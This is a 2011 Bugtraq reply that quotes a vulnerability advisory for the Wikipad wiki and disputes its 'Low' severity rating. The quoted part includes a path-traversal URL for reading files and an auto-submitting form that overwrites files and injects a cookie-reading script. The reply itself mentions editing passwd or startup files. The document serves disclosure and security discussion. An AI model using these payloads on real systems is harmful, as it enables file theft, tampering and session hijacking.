bugtraq - Re: HTB22827: File Content Disclosure in Wikipad

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Date: Fri, 29 Apr 2011 00:02:43 -0500 (CDT)
From: security curmudgeon <jericho@...rition.org>
To: advisory@...ridge.ch
Cc: bugtraq@...urityfocus.com
Subject: Re: HTB22827: File Content Disclosure in Wikipad

: Vulnerability ID: HTB22827
: Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_wikipad.html

: Vulnerability Type: File Content Disclosure
: Risk level: Low 

: Vulnerability Details:
: The vulnerability exists due to failure in the "/pages.php" script to properly sanitize user-supplied input in "id" variable. We can disclose content of ".txt" files on file system.
: 
: The following PoC is available:
: http://host/pages.php?id=./../../../../../txt_file

So you can dump the contents of an arbitrary file, presumably outside the 
web root, and this is 'Low' severity? Ok, perhaps authentication is 
required or something else makes it a bit tricky..

: Also, we can change content of this file by using PoC:
: 
: <form action="http://host/pages.php?action=edit&id=./../../../../../txt_file&title=test" method="post" name="main">
: <input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'>
: </form>
: 
: <script>
: document.main.submit();
: </script>

Now you can *edit* any file on the system, and this is 'Low' severity? 
Worse, you throw in some script code instead of editing something a bit 
more serious like editing a system startup file, passwd or some other form 
of remote access?

At the very least, this would be 'Medium' by most standards.